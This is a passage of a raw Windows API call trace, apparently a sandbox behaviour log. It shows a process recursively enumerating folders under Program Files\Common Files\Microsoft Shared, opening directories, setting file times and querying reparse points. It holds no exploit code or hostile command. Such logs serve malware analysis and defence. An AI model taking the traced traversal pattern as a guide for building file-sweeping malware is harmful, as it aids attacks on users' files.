nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.705] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.705] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.705] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.706] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.706] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0244.706] GetLastError () returned 0x12 [0244.706] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0244.706] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.706] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.706] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0244.708] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.708] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.708] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.708] NtClose (Handle=0x1b4) returned 0x0 [0244.708] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0244.708] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921668 [0244.708] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0244.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.708] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.708] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.709] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0244.709] GetLastError () returned 0x12 [0244.709] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0244.709] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0244.709] GetLastError () returned 0x12 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921668) returned 1 [0244.709] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0244.709] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0244.709] GetLastError () returned 0x12 [0244.709] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.709] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.710] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.710] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.710] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0244.710] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0244.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.722] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.722] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.723] NtClose (Handle=0x1b0) returned 0x0 [0244.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0244.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921668 [0244.723] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0244.723] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.723] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0244.723] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0244.723] GetLastError () returned 0x12 [0244.723] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0244.723] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.723] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.723] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0244.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9223d0 [0244.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9224d8 [0244.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.724] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.724] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.724] NtClose (Handle=0x1b0) returned 0x0 [0244.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9224d8) returned 1 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9224d8 [0244.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9225e0 [0244.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0244.725] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.725] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0244.725] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0244.725] GetLastError () returned 0x12 [0244.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0244.725] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.725] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.725] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0244.725] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9226e8 [0244.725] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.725] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9227f0 [0244.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.732] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0244.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.733] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.733] NtClose (Handle=0x1b0) returned 0x0 [0244.733] RtlFreeHeap (HeapHandle=0x4a0000, 